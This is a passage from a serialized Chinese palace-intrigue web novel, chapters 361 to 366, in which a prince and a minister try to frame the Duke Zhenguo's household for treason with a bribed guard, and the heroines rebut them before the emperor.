嘴上虽然这样说着,但沈琼华心里却没底。 毕竟这朝堂之上多的是人见风使舵,如今她们确实是处于劣势。 不过即便是这位高统领偏向周瑾林,她也不怕。 因为她知晓,今日这出戏必定不会如安王一党预想的那般顺利,甚至还极有可能引火自焚。 哪知高统领沉默一瞬,看向周瑾林露出一抹冷笑,道:“周世子,皇上只是让军机大营的将士配合本统领行动,谁让你自作主张趁本统领封禁镇国公府时,擅自带着人来到平宁郡主的屋子,对平宁郡主无礼的?” 第三百六十一章 见周瑾林露出诧异的神色,高统领在心中冷笑一声。 御林军向来只忠于皇上,听从皇上的差遣,如今虽然封禁了镇国公府,但对瑞王之心却不变。 这永宁伯府想要指使他,还是等安王登上帝位再说吧。 “你!”周瑾林怒目圆瞪,没想到这高统领如此不识抬举。 “高统领,识时务者为俊杰,你……” 周瑾林的话还未说完,就被高统领的话打断了,“别跟本统领扯这些虚的,本统领没那么多闲工夫。” “看在安王的面子上,此事本统领就当没发生过,你若是再闹出什么幺蛾子,本统领必定向皇上如实禀报!” “你!”周瑾林气得脸一阵红一阵白,不可思议地看着高统领,似是不明白就这么个榆木脑袋是怎么坐上御林军统领的。 可偏偏又不能拿对方如何,只能放下狠话道:“希望高统领不会因今日的选择后悔。” 高统领理都不理周瑾林,朝洛希瑶道:“平宁郡主,请吧。” 沈琼华与洛希瑶见此情形,具都松了一口气。 沈琼华看向高统领,道:“高统领,我能否一同前去?” 高统领眼中闪过一抹诧异,没想到这等抄家灭族的大罪当前,竟还有人上赶着作陪。 可是皇上只说要见平宁郡主一人。 高统领下意识便要拒绝。 突然,他似是想到了什么,微微一顿。 这嘉林县主与平宁郡主向来交往甚密,若是镇国公真的做出了通敌卖国之事,沈家又富可敌国,会不会…… 心思回转间,高统领即刻便改了主意,道:“可。” 沈琼华眼底闪过一丝意外,她没想到事情如此顺利,还以为多费一番口舌。 有了高统领的应允,沈琼华便可与洛希瑶一道进宫。 除了沈琼华与洛希瑶二人外,镇国公府内的一切都被控制了起来,包括洛希瑶贴身的暗卫都不允许踏出镇国公府的大门一步。 二人跟随高统领出府,上了前往皇宫的马车。 坐在马车上,沈琼华缓缓吐出一口气。 看来情形还不像她想象的那般糟糕,至少还派了一辆马车来接希瑶。 也难怪方才那高统领的态度还算恭敬。 余光瞥见洛希瑶一副如临大敌的样子,沈琼华轻轻握住她的手,轻声道:“别怕,我陪着你。” 洛希瑶重重点头。 高统领翻身上马,身旁还跟着个一脸铁青的周瑾林。 一行人向皇宫疾驰而去。 至余下一个被御林军包围的镇国公府。 见人都离开了,躲在不远处观望的百姓才纷纷冒出头来。 看见已经不能进出的镇国公府,心有余悸道:“这是怎么了?镇国公府怎么被御林军围起来了?” “听说好像是有人状告镇国公通敌叛国,皇上震怒,要宣平宁郡主进宫问话。” “谁?镇国公?怎么可能!是谁在胡说八道,镇国公怎么可能叛国?他为大越打了那么多胜仗。” “哎,依我看,倒是有些可能,不然他以往战无不胜,此次为何久久攻不下被陈国占领的最后一座城池?” “不……不可能吧?说不定是陈国太难缠了呢?” “我看未必,皇上既然让平宁郡主进宫问话,想必是那状告之人手上有些证据的,到时看皇上处置的结果就知道了。” 那人说完这句话,眼底闪过一抹得逞的笑意,高深莫测的走了。 余下方才与他搭话的二人,满脑子都是那句‘状告之人手上有证据’,随后立即与周围的其他人攀谈起来。 就这样,沈琼华与洛希瑶乘坐的马车还未抵达皇宫,镇国公疑似通敌叛国的消息就已经在百姓中大范围的传播开了。 —— 皇宫。 大殿之上。 百官皆在。 谢荣眼含怒火地坐在龙椅之上。 大殿之上的群臣此刻皆站立如松,噤若寒蝉。 而这一切都要从大半个时辰前说起。 半个时辰前,正是早朝之时,百官正商讨着边关的战事进展,户部尚书突然下跪,以头扣地,说有事启奏。 百官皆以为户部尚书要老生常谈地哭诉户部缺银,却没料到户部尚书扔下一道惊天大雷。 并未提及户部银两分毫,而是状告镇国公通敌叛国。 声称昨日夜里,下值回府路上,被一镇国公府的侍卫拦住马车,跪求一见,说有重要事情相告。 将人带回府中,侍卫才告知他说无意中得知镇国公通敌叛国,怕被灭口,这才寻他的帮助,想要将这件事情上达天听。 并已将人带至宫门前,皇上若是不信,可以将人带上来审问。 此话一出,方才还互相争执的百官,顿时安静无比。 帝王怒,并不相信,并宣那要状告的侍卫觐见。 那侍卫上殿来,面对帝王的询问,也丝毫不改口,并称有证据。 但要将平宁郡主宣至大殿之上,才敢将证据说出。 于是帝王派御林军将平宁郡主带来,并封禁镇国公府,不许任何人进出。 短短半个时辰,朝堂之上的群臣却犹如度过了几年一般。 没有一人敢言语,都陪着皇上干等着。 生怕此时做出了什么不合时宜的举动,引起了皇上注意,被皇上迁怒。 这朝堂之上,人人皆知镇国公府于大越朝的意义。 眼下瑞王还生死未名,便有人状告镇国公通敌叛国,这…… 这二者之间,有没有联系着实难说。 就在群臣忐忑不安时,一个小太监急匆匆地从殿外走了进来 第三百六十二章 编造 李顺全颔首,看向帝王,见帝王点头,这才高声喊道:“宣平宁郡主觐见——” 随着李顺全的话音落下,沈琼华与洛希瑶一道走来。 “臣女参见皇上,皇上万岁万岁,万万岁!” 站在大殿之上的安王看见沈琼华,眼眸微闪。 “平身吧。”谢荣沉声道。 “谢皇上。” 二人一道起身,谢荣的目光直接忽视了沈琼华看向了洛希瑶,道:“平宁郡主,今日朕宣你前来,是有人状告你镇国公府通敌叛国。” 洛希瑶面露惊骇之色,噗通一声跪了下来,扬声道:“皇上,镇国公府对皇上忠心耿耿,绝无二心,这状告之人定是居心不良,还请皇上明鉴啊。” 一个方面大耳的男子听到这话,当即便道:“哼,居心不良,平宁郡主,你不妨看看这人身上所穿的守卫服饰,这可是你镇国公府的守卫。” “是你镇国公府的守卫亲口状告,你还有什么可狡辩的。” 顺着男子所指的方向望去,一个身着镇国公府守卫服饰的男子跪在另一侧的角落处。 沈琼华眼眸微眯。 她之前还想着这一世希瑶未曾嫁给高磊,安王想要陷害镇国公府,要怎样布局。 却没想到只是这般浅显的手法。 看来安王是着急了,难道是因为五皇子中毒一事? 洛希瑶也看到了那身着镇国公府守卫服的男子,认出了他就是将栽赃信件藏到书房的那个守卫。 跪在地上的守卫见洛希瑶的目光看了过来,当即有些心虚的移开视线。 洛希瑶心里冷笑一声,柳眉倒竖道:“尚书大人此言诧异,他是镇国公府的守卫又如何,说不定早已被人收买了。” “不然一个小小的守卫哪来的胆子,敢到这大殿之上,在皇上面前胡言乱语。” 户部尚书当即怒喝道:“平宁郡主你这是什么意思?这守卫拦的是本官的马车,也是本官将人带进宫的。” “你的意思是说,是本官收买了这守卫,想要栽赃镇国公府吗?” 洛希瑶连连摇头,道:“本郡主可没有这么说,这可是尚书大人你自己说的,不过看见尚书大人,本郡主倒是想起了一桩旧事。” “昔年安乐公主赏荷宴上,本郡主遭人算计跌落池水中,恰逢尚书大人之子高磊也在附近,若不是当时的沈小姐,也就是当时的嘉林县主救了本郡主,还用石子砸伤了高磊,只怕……呵!” “这守卫瑶状告镇国公府,不去府衙,也不去拦大理寺卿的马车,反而是找上了户部尚书,呵呵!” “不过结仇在先,尚书大人如今的做法,本郡主也不感到意外。” 洛希瑶这几句话中,‘遭人算计’‘恰逢’‘砸伤’几个词咬得极重,再配上她那阴阳怪气的表情,令得不少大臣的神情都有些怪异。 当初赏荷宴上的事情闹得不算大,毕竟洛希瑶并未真的失了清白,大都只是在私下里议论,感叹沈琼华运气好攀上了镇国公府这根高枝。 很多大臣一心都扑在朝堂之上,甚少关注内宅之事,有的都不知道此事。 可奈何谢南渊护妹心切,那段时间频频对户部尚书开刀,若不是背地里有安王做靠山,为他周旋,只怕户部尚书的官帽都保不住了。 也正是因谢南渊这一异常的举动,不少大臣开始追查始因,一查就查到了赏荷宴上发生的事。 这朝堂上的人,各个都是人精,谁还不知道户部尚书打的是什么主意。 那段时间,众人都心照不宣。 原本这件事情都已经过去一年多了,大家也都淡忘得差不多了。 可如今乍然被平宁郡主提起,且话里话外是户部尚书蓄意报复栽赃,众人又想起了此事,看向户部尚书的眼神顿时就变了。 坐在龙椅上的谢荣听着洛希瑶的话,神色晦暗不明,淡淡开口道:“哦,还发生过这种事情?朕在宫中竟未曾听闻过此事。” 户部尚书的脸色当即就变了,噗通一声就跪了下来,言辞激动道:“皇上,小儿当初只是救人心切,绝不是平郡主说的那样,还请皇上明察。” 说着他又看向洛希瑶,眼底划过一抹阴鸷,愤怒道:“平宁郡主,一码归一码,你休想将事情混为一谈。” 谢荣坐在龙椅上,闻言一言不发,眼神落在户部尚书的身上不知道在想些什么。 被这种充满威压的眼神注视着,户部尚书原本满腔愤慨渐渐平静下来,随着时间的推移额上沁出细密的汗珠。 谢祁安见势不对,发现户部尚书被洛希瑶给绕进去了,必须尽快将话题引回镇国公府通敌叛国一事的判定上。 他立马上前一步,恭敬拱手道:“皇上,户部尚书为朝廷效力多年,一向公私分明,公报私仇一事,户部尚书定然不会做。” “如今最重要的还是镇国公府通敌叛国一事,需得尽快查清。” “镇国公如今掌管着边关大军又手握镇国军,若此事属实,恐怕边关危矣。” “此事既然是镇国公府的守卫状告,咱们也该听听他的说辞才是。” 说着,眼神瞥向地上跪着的守卫。 守卫接受到谢祁安的眼神,立刻膝行几步跪到大殿中央,以头抢地道:“皇上明鉴,奴才所言句句属实,未曾被人收买,也不敢欺瞒皇上。” “早在数月之前,奴才便发现了镇国公府有些不对劲。” “镇国公府每隔几日便有信鸽从上空飞过。” “原本这也没什么,奴才也并未放在心上,直至有一日,奴才下值时,捡到了一只信鸽,腿上还绑着竹筒。” “奴才一时好奇,便将信纸打开,却发现都是自己看不懂的文字,正疑惑之际,便见了脚步声。” “奴才下意识将信纸卷好放回了竹筒中,下一刻镇国公便来到了奴才跟前。” “镇国公见奴才手中捧着信鸽,怒极,可转瞬间又便了脸,说信鸽是他的,还问奴才可曾看过竹筒里的信纸。” “奴才当时察觉镇国公的态度有些不对劲,怕遭到责罚,于是下意识便撒了谎,称并未看过。” “镇国公的态度这才和缓下来,让奴才离开了,临走前还警告奴才不许将信鸽一事说出去。” “奴才事后回想,虽觉得镇国公的行为有些奇怪,但到底不明就里。” “后来镇国公随瑞王殿下出征,前往边关对抗陈国,奴才便也将这件事情抛之脑后。” “直至前两日,奴才得到一本陈国游记。” “奴才从小便不喜读书,只略略识得一些字,学了些拳脚功夫。” “本想看看这陈国文字与我大越国有何不同,却发现那游记上的一些字与那日镇国公的信鸽所携带的信纸上的字一模一样。” “镇国公与人书信往来怎会用陈国文字?” “奴才即便再是蠢笨也知晓这其中有问题,可镇国公权势滔天,又怎是奴才一小小守卫所能抗衡的。” “若是被镇国公的人察觉奴才知晓了那信纸中所蕴含的秘密,只怕奴才一家老小就要身首异处了。” “奴才犹豫了两日,可到底抵不过心中的罪恶感。” “如今瑞王殿下失踪,边关大军和镇国公都在镇国公的手中,若奴才知情不报,将来镇国公和陈国联合捅大越一刀,奴才岂非也是帮凶?” “奴才不愿成为大越的罪人,这才决定将镇国公通敌叛国一事说出。” “以奴才的身份,若是想依靠自己这辈子都没有办法得见天颜,可若是要找人帮奴才见到皇上……此事事关重大,奴才不知何人能信,也不知何人是镇国公的爪牙。” “若是找错了人,此人将事情告知镇国公,奴才必定会死于非命。” “奴才虽不怕死,却也不想枉死。” “想来想去,也就只能去找曾因平宁郡主与镇国公发生过矛盾的户部尚书大人了。” “尚书大人一心为大越,听到奴才说的事情便立刻带奴才来面见皇上了。” 话止,满座皆静。 第三百六十三章 简直是荒谬! 百官你看看我,我看看你,皆在眼中看到了震惊。 不说百官了,就说洛希瑶这个知晓真相的当事人都快要相信这就是事实了,一双眼睛瞪得溜圆。 沈琼华察觉到有一道存在感极强的目光落在了她的身上。 她顺着感觉看过去,恰对上谢祁安的眼睛。 那双眼睛里掺杂了太多的东西,有得意,有畅快,还有胜券在握的笃定与挑衅…… 沈琼华心中平静,唇角微微勾起。 谢祁安见状,眼眸微眯。 守卫那一番话,既说清了事情缘由,也说明了为何一众大臣中独独找户部尚书。 户部尚书跪在地上,眼眶微红,以手拭泪,似是收到了极大的冤屈一般。 可惜谢荣看都没看他一眼,只低垂着眼眸,似是在消化守卫说的话。 良久,谢荣才看向洛希瑶,道:“平宁郡主,你可有何要辩解的?” 洛希瑶以头抢地道:“皇上明鉴,臣女父亲绝不会做出此事,这一切都是这守卫杜撰出来的。” “镇国公府百余年来都为守卫大越国而存在,臣女父亲守卫边关数十年,早已与陈国不死不休,若是要叛国,早就叛了,何至于等到现在。” “更何况,镇国公府位列一等公爵,这些年来得皇上庇佑和赏赐数不胜数,臣女父亲根本就没有理由要这么做。” “这么做对镇国公府根本没有任何好处,反而还会将镇国公府百余年的根基毁于一旦。” “再者,臣女乃是父亲唯一的女儿,多年长于京城,父亲若是真有叛国之心,怎会放任臣女在京中?” 洛希瑶一袭话说得铿锵有力,抬起头后,眼神更是异常坚定。 有些大臣原本因守卫的话有所动摇,可听了洛希瑶的话又有些迟疑了。 是啊,镇国公府在大越,已是权利之最,说事一人之下万人之上也不为过,唯一的女儿也在京城,镇国公有何理由要通敌叛国呢? 这根本就不符合常理啊! 而另一部分大臣则是眼亮心明,早就看清这是怎么回事了,只不过是事不关己高高挂起,端看镇国公府与安王斗法谁输谁赢。 毕竟如今瑞王还生死不明,不能将安王这个目前来看最有可能登上储君之位的皇子给得罪了。 两拨大臣心思不同,却殊途同归——皆闭紧了嘴,不发一言,竖起耳朵听。 “谁说镇国公没有理由?”户部尚书听到洛希瑶的话立刻道,“这些年边关大小战事不断便是最大的理由。” “镇国公为了保证镇国公府在大越的地位,与陈国勾结,引发战争,再出手镇压,获取军功,也不是没有这个可能。” 户部尚书此话甚是歹毒,竟三言两语将这几十年大越与陈国的摩擦都推到镇国公的头上。 那些尸山人海拼杀出来的功勋,竟成了镇国公府通敌叛国的证据,简直是荒谬! 洛希瑶听到户部尚书往镇国公身上泼脏水,终于忍不住了,破口大骂道:“你放屁,你这是污蔑,你有什么证据!” 户部尚书冷哼一声,道:“平宁郡主一直待在京中,年岁又尚幼,你又怎知事实不是如此?” “说不定就是镇国公瞒着你做的也不一定。” 说到此处,他顿了顿,隐晦地看了谢祁安一眼。 见谢祁安眼神犀利地看着他,吞咽了一下,这才接着道:“再说了,镇国公从前那般疼爱瑞王殿下,若非如此,镇国公怎么可能带瑞王殿下去边关。” “战场上刀剑无眼,瑞王殿下小小年纪就上了战场,十四岁便积累了赫赫战功,焉知这其中没有镇国公的推动。” 言语之间,竟是将瑞王之前的那些军功都颠倒了过来,将那些功勋都抹去。 瑞王如今可还重伤失踪,生死未明呢,原因还是为了掩护越国军队撤退。 这话,说得太过分了些。 谢荣原本高坐在龙椅上静静听着他们争辩,听到户部尚书这话,如鹰一般眼睛顿时直直射向户部尚书。 第三百六十四章 证据在镇国公府 户部尚书原本还要再说,接收到谢荣满含警告的眼神,顿时住了嘴。 他闭了嘴,可那些噤若寒蝉的百官心里却活泛开了,在脑中分析着户部尚书方才那一番话的意思。 户部尚书方才那些话不仅是说镇国公通敌叛国,勾结陈国,故意发动战争,积累军功,来巩固镇国公府在大越国的崇高地位。 甚至在暗喻皇上,瑞王殿下从前积累的那些军功都是假的,都是镇国公在其中动了手脚。 目的便是为了让瑞王能有军功傍身,好为其登上储君之位增添筹码。 有想得更深入者,明白了户部尚书言语当中的另一层意思。 既然镇国公靠此等手段来积累军功,甚至以此来帮扶瑞王,那么此次陈国突然毁约发难,是否也与镇国公有关呢。 若是有关,那此次皇上是先派安王与永宁伯出征的,镇国公没有达到目的,难道就真的会罢休? 那安王此前边关战事失利,这其中是否有镇国公的手笔? 无论怎样,有了户部尚书这一番话,一旦镇国公通敌叛国的罪名坐实。 那往前数十年的战争,几十万将士的性命,数百万支离破碎的家庭,生离死别的痛苦,都将记在镇国公府的头上。 镇国公府便会顷刻间倒塌,成为人人喊打的存在。 洛希瑶从不知,人可以恶毒至此。 表哥前年边关受重伤差点身死的情景还历历在目,甚至如今还身死未明,这些人就这样污蔑表哥。 洛希瑶气得头脑充血,目眦欲裂。 若不是这是在大殿之上,在百官面前,她都要忍不住一脚上前踹翻户部尚书那张令人恶心的丑陋嘴脸。 洛希瑶双手握拳,看向坐在高位之上的谢荣,扬声道:“皇上,瑞王殿下自幼在您膝下,他的人品您是最清楚不过的,最是刚正不阿,光明磊落,向来是不屑于做这些弄虚作假之事的。” 沈琼华神色微动,正要上前,一道身影从百官末尾站了出来。 傅琛无视亲爹兵部尚书的示意,跪在地上,朗声道:“皇上,这一切都是户部尚书一人的猜测,并不足以为据。” “镇国公府自大越开国以来便存在,至今已沿袭百年,且历任镇国公都为守卫大越而死,若是仅凭户部尚书的猜测就定下镇国公的罪名,是否太过儿戏。” “再者,瑞王殿下在边关多年,骁勇善战,军中将士有目共睹,更是几次在生死边缘徘徊,受的大大小小的伤更是不计其数。” “户部尚书如此张口就来,不知是何居心,若非尚书大人行动正常,臣都要怀疑尚书大人是否得了疯症了。” 傅琛一番话将洛希瑶心底的话都说了出来。 洛希瑶微微侧头,二人四目相对,傅琛微微勾唇,眼中满是温柔与疼惜。 洛希瑶心尖一酸,差点落下一滴泪。 强忍着憋了回去。 傅琛即便能力再是出众,但到底年纪轻,入朝堂不过才堪堪几年,被一个初出茅庐的小辈指着鼻子骂得了失心疯,户部尚书如何能忍下这口气。 这若是认下来,莫说他方才说的话做不得真,他这顶乌纱帽怕是都保不住了。 户部尚书当即便道:“本官好得很,这朝堂之上,天子面前,岂容你这等小儿攀蔑!还不快快回去!” 傅琛如何会听从户部尚书的话,连个眼神都没给户部尚书,只嘴中道:“户部尚书此言差矣,正是因为在天子面前,若是察觉有所不妥之处,更要提出,以方便皇上明辨后做出正确的判断。” “下官虽官职小,但食君之禄,便要忠君之事,下官只要站在这朝堂上一日,便有提出异议的权利。” “户部尚书要下官闭嘴,莫不是这朝堂已经成了户部尚书的一言堂不成?” “只许你妄加揣测,不许他人提出异议了?” 傅琛话落,户部尚书顿时脸色骤变,回头以头抢地道:“皇上明鉴,臣绝没有这个意思,臣只是急于为自己辩解罢了。” 谢荣阴沉的眼神落在户部尚书身上,冷哼一声。 随即看向那跪在地上冷汗涔涔,眼神慌乱的守卫,开口道:“你先前说将平宁郡主宣上殿来,便将证据交出来,如今平宁郡主已来了,证据呢?” “闹出如此大的动静,若是拿不出证据,哼!” 属于帝王的威压铺天盖地朝守卫袭来,守卫顿时结结巴巴道:“回……回皇上的话,奴才所言句句属实,绝不敢欺瞒皇上,这……这证据就在镇国公府里。” “皇上,镇国公既然与陈国有书信往来,为了互相牵制,镇国公定然会将那些书信留下来。” “奴才这两日已经观察过了,虽然镇国公已经离开了京城,但镇国公府内,镇国公的书房和卧寝处都派有大量亲信把手,这显然不正常。” “所以,奴才猜测,那些书信定然在这两处的某一处。” “只是可惜,奴才势单力薄,人微言轻,不能直接将证据带出来。” 闻言,洛希瑶冷笑一声,道:“你口口声声说我镇国公府通敌叛国,这就是你说的证据?” 洛希瑶看向谢荣,道:“皇上,此人一看就是在胡说八道,若是连证据都能猜测,还有什么是真的?” 谢荣颔首,看向那守卫,“既然你说证据在镇国公府,那宣平宁郡主进宫的时候为何不说?” “回皇上的话,镇国公府一向手眼通天,奴才怕消息泄露,也不知平宁郡主是否知情,怕平宁郡主若是知情的,得到消息将证据销毁,这才要见到平宁郡主才肯告知。”守卫道。 “你连证据都未曾见过,也不在你手中,这……”谢荣有些迟疑。 连证据都没见到过,只凭猜测,若是错怪了镇国公府,可不好收场啊。 谢祁安一直在关注着皇上的神色,此刻见他眉心紧蹙,就知皇上有心退却,当即给了守卫一个眼色。 守卫掌心出汗,接收到谢祁安的眼神示意,立即道:“皇上,奴才能以项上人头担保,那证据必在镇国公府内。” 谢祁安轻咳一声,站了出来,拱手道:“皇上,这证据虽不在守卫手中,但听他方才讲发现镇国公通敌叛国一事的经过,也算得上是有理有据。” 喜欢战神王爷夜夜来爬墙,王妃她怒了请大家收藏:()战神王爷夜夜来爬墙,王妃她怒了爪机书屋更新速度全网最快。 第三百六十五章 请皇上搜查镇国公府! 谢祁安心中一动,面上却是一副挣扎之色。 犹豫半晌后,狠狠闭了闭眼,这才开口道:“皇上,这证据虽未在这守卫手中,但儿臣觉得有一点这守卫说的对。” “这守卫方才说,他怕知情不报,将来镇国公会和陈国联合捅大越一刀,他会成为帮凶。” “儿臣觉得他既然有勇气站出来应当是有把握的……” 谢祁安说到这,顿了顿,抬头看了谢荣一眼。 谢荣抬了抬下巴,示意他继续说下去。 谢祁安这才接着道:“儿臣觉着此一时非彼一时,眼下三弟失踪,边关大军尽落在镇国公手中,若是镇国公真有……那必定要尽早想好对策才是,此事拖不得,也不容得有一丝含糊。” “再者,若是镇国公真有此心,依平宁郡主所言,儿臣也觉得三弟向来刚正不阿,光明磊落,骁勇善战,如此番下落不明的事,之前从未发生过,这不禁让儿臣想到了一种可能。” “会不会是三弟发现了什么,被镇国公察觉了,却又不愿与镇国公同流合污,这才被镇国公……不然这都大半个月了,三弟的是死是活,总该有个结果才是,这么一直拖着,很难不令人起疑。” 谢祁安这话,无疑是将镇国公府架在火上烤。 依皇上对谢南渊的宠爱,是断不会愿意相信谢南渊会与镇国公一起欺骗他。 既如此,他便将谢南渊与镇国公府分隔开,甚至将谢南渊的死归咎于镇国公事情败露,劝说无果后恼羞成怒痛下杀手。 至于说舅甥情深? 嗤,父子都能相残,更何况是隔了一层的舅舅呢? 一个有可能登上皇位的外甥再怎么重要,也不及自家满门抄斩株连九族重要。 利益相冲时,那一点微末的亲情又算得了什么? 皇上不是一向最宠爱看重谢南渊吗? 并且对于谢南渊与镇国公之间过于亲密的关系早就有所不满。 若是镇国公这个当舅舅的有可能有害死谢南渊的嫌疑,皇上还能坐得住吗? 谢祁安这般想着,向上看去,果然见皇上搭在膝上的手攥紧了龙袍的一角。 一直以来沉着的脸色也猛然骤变,虽然只有一瞬便恢复了正常,去还是被他捕捉到了。 谢祁安嘴角勾起一抹隐晦的弧度。 他此次的目标是镇国公府。 只要镇国公府倒了,他并不在乎谢南渊在这其中到底扮演着什么样的角色。 是为了储君之位与镇国公沆瀣一气,还是察觉出端倪被自己亲舅舅设计害死,亦或是从头至尾都不知情,与陈国殊死搏斗才失踪……这些都不重要。 重要的是,镇国公府必须背上通敌叛国的罪名,必须被满门抄斩,株连九族。 之后,他才能有心思专心对付谢南渊。 到时,谢南渊就这样死了自然最好。 若是活着回来了,有了这样一个通敌叛国的外家,谢南渊这辈子都注定与储君之位无缘。 即便是皇上再是宠爱谢南渊,想要将皇位传给谢南渊,大臣们也不会答应,大越的百姓们也不会答应。 而他到时自然也不会放过谢南渊,毕竟镇国公若是通敌叛国了,谢南渊身上的那些军功就很值得令人怀疑了,很难保证谢南渊真的一点都不知情。 即便是皇上相信谢南渊,这朝堂上的大臣们中也必定有人心中生疑。 这还需要后续操作一番,才能达到他想要的效果。 不过,这都不急,眼下最重要的还是镇国公府。 镇国公府不倒,他便一日得不到他想要的。 他还是经过洛希瑶带游医给五皇弟治疗一事想明白的。 五皇弟与镇国公府之间来往密切。 即便是谢南渊死了,只要镇国公想,镇国公完全可以转而扶持五皇弟,支持五皇弟与他争储君之位。 届时五皇弟有了镇国公府做靠山,那顺贵嫔卑贱的出身便不再是问题。 而皇上正值壮年,会提防已经成年的儿子,面对还尚年幼的五皇弟却降低防备。 长此以往,五皇弟一定会取代谢南渊成为他的对手。 若真到那一步,那他费尽心机斗倒谢南渊又有什么意义呢? 只怕真如母妃所言,万般算计,都为五皇弟做了嫁衣。 所以,唯一一劳永逸的办法,就是镇国公府彻底倒台。 如此一来,谢南渊将不足为据。 而五皇弟,年纪还小,又受顺贵嫔的拖累,短时间内成不了气候。 等他腾出了手,再对付五皇弟也不迟。 至于皇后想要将五皇弟充当嫡子养在膝下,待解决了镇国公府,再想法子绝了皇后的念头便是。 谢祁安这般想着,心中得意与自己的谋算周全,面上却不动声色,接着道:“所以,综上考虑,儿臣建议父皇下令,命御林军搜查镇国公府。” “到时谁是谁非,一看便知。” “若守卫所言当真,咱们便要立即着手应对边关的反扑,若是假的,也算还了镇国公府一个清白,父皇事后再与镇国公说清便是。” “镇国公若真是一心为大越,为百姓,想必也定是会理解父皇的。” “不行,我父亲为大越效忠多年,就凭这守卫空口白牙的污蔑以及那所谓的虚无缥缈的证据,就要搜查我镇国公府,将我镇国公府的百年清誉置于何地,绝对不行!”洛希瑶反应激烈道,似是受到了巨大羞辱一般。 谢祁安却理都不理洛希瑶,衣袍一掀,便跪下,扬声道:“请父皇搜查镇国公府!” 他一跪,身后的百官中也有不少人跟着跪下,道:“请皇上搜查镇国公府!” 声势宏大,态度坚定。 喜欢战神王爷夜夜来爬墙,王妃她怒了请大家收藏:()战神王爷夜夜来爬墙,王妃她怒了爪机书屋更新速度全网最快。 第三百六十六章 沈琼华怼谢祁安 眼下已经不是皇上想不想搜查镇国公府了。 是谢祁安步步为营,用话逼着皇上不得不搜查镇国公府。 事已至此,即便是皇上不愿寒了镇国公的心,相信镇国公府并未做出通敌叛国之事,用强硬的态度表示不搜查镇国公府,这件事情带来的影响在今后也会围绕在镇国公府和瑞王府当中。 这就是一个疙瘩。 一日不解开,今后将世人和百官都将带着异样的眼光看待镇国公府。 一个有着疑似通敌叛国外家的皇子又怎能登上储君之位呢? 可若是皇上同意搜查镇国公府了,那些早就放进镇国公府书房用以栽赃的信件就派上了用场。 无论怎样,谢祁安的目的都达到了。 更何况,眼下他的做派,分明是迫不及待要将镇国公府这根眼中钉肉中刺拔除了。 “安王殿下,你这是在逼迫皇上吗?”沈琼华冷不丁出声道。 大殿上猝然一静。 谢荣似是这时才注意到沈琼华一般,道:“嘉林县主竟也来了。” 沈琼华嘴角一抽,上前行了一礼道:“嘉林拜见皇上,今晨臣女去找平宁郡主,不想正遇上此事,高统领做事谨慎,便将臣女一道带进宫了。” 谢祁安眼眸微眯,道:“嘉林县主头一次来到大殿之上,还当谨言慎行才是。” 说完,谢祁安又看向谢荣,以头抢地道:“父皇明鉴,儿臣绝无逼迫父皇之意,儿臣所说的,所做的一切都是为了父皇,为了百姓,为了大越而着想啊。” 他话一落,沈琼华便道:“安王殿下口口声声说是为了皇上,为了百姓,为了大越,可做的跟说的却截然相反……” 沈琼华话还未说完,便被接收到谢祁安眼神示意的户部尚书给打断了,“嘉林县主,你因缘际会来到这大殿之上,不谨言慎行也就罢了,如今竟还干预起朝政了,你难道不知道女子不得干政吗?” “还不快速速闭嘴!”户部尚书大喝道。 沈琼华极为不雅地翻了个白眼,道:“尚书大人口口声声说此事乃是朝政,女子不得干政,可方才在这大殿之上,你与平宁郡主争论之时,怎地没想到平宁郡主是个女子?” “如今倒是说起女子不得干政来了,合着尚书大人是依形势而论的,这是看镇国公府只平宁郡主一个闺阁女儿家在京城,就可着人家一个小姑娘欺负呗。” “方才那么大个嗓门也不知是在吓唬谁,平宁郡主不过是为自己的父亲辩解两句,您就一口一个‘当初年岁尚幼,你又怎知’。” “怎地?连辩解两句都不行了?” “这么大把年纪了,还真是……呵!” 沈琼华这一番话,就差指着户部尚书的鼻子骂他以大欺小,以壮欺弱,不要脸了。 且她怕被人打断,这一番话说得语速极快,在场的众位大臣听完足足愣了一瞬才反应过来。 沈琼华此番为了洛希瑶也是豁出去了。 反正谢祁安那些所谓的证据已经被调换了,即便是真的要搜查镇国公府,最后的结果也只会证明镇国公府无罪。 既然如此,她眼下放肆些也没什么。 更何况眼下还是镇国公府的事情要紧,她言语间逾越些,想必除了谢祁安的人,也无其他人在意。 至于皇上。 她有捐献银两赈灾一事在先,后又为皇上解决烦恼向边关捐献了那么多粮食,皇上总不至于对她连这点容忍度都没有。 也正是基于这些,沈琼华才敢公然,明目张胆的在这大殿之上,在皇上面前,越矩指责谢祁安。 她本来是冲谢祁安去的,谁让户部尚书要跳出来做谢祁安手中的刀,既然如此,她又何必嘴下留情。 户部尚书被人沈琼华这般奚落,气得脸都红了。 傅琛是兵部尚书之子,少年英才,对他言语不敬也就罢了。 可这嘉林县主是什么来头他最是清楚不过。 不过是一个商户之女。 靠着家里头的那些铜臭,阴差阳错,得了个县主的封号,有名无实。 竟也敢当着皇上和中位大臣的面指责他! “你……你……” “你什么你,本县主开口说话,皇上都没有说什么,尚书大人倒是上赶着指责了,莫非你觉得你比皇上还大不成?”沈琼华道,张口就是一口大锅砸在户部尚书头上。 吓得户部尚书连忙朝谢荣磕头道:“皇上,臣绝无此意。” 沈琼华连个眼神都懒得给他,直接朝皇上行了一礼道:“皇上,臣女只是一介女子,不懂政事,本不应多嘴,但今日一事事关镇国公府,平宁郡主曾帮臣女良多,可否允臣女说两句。” 谢荣居高临下地看着沈琼华,半晌后,唇角微勾,意味不明地点了点头。 “谢皇上。”沈琼华道。 眼角余光向谢祁安,在对方满含愤怒的眼神中,一字一句地道:“臣女觉得安王殿下说是为了皇上,为了百姓,为了大越主张搜查镇国公府这一言论着实是荒谬。” “安王殿下主张搜查镇国公府,说是为了大越,可此事无明确证据,一切都是这守卫一人之言,便是尚书大人都是听的这守卫的话,硬要贸然搜查镇国公府,若是真的搜出些什么,还好说,若是什么都没有搜出来……” “如今边关军情紧急,瑞王殿下有重伤失踪,生死未明,所有的一切都压在镇国公的肩上,为国,想必即便是再艰难,镇国公都是甘之如饴的。” “可若是为国鞠躬尽瘁还要被怀疑通敌叛国,甚至在证据不足的情况下自家府邸还被搜查,这等行径,若真是冤枉的,难免令人寒心。” “再者,这等消息若是被军营里的将士们知晓,在战场上悲壮惨烈的氛围下,恐怕很容易感同身受。” “眼下陈国在一旁虎视眈眈,这等行径,与动摇军心有什么区别?” “所以,安王殿下说的为了大越主张搜查镇国公府这一说法,在臣女看来,是极为不妥的,甚至很容易适得其反。” 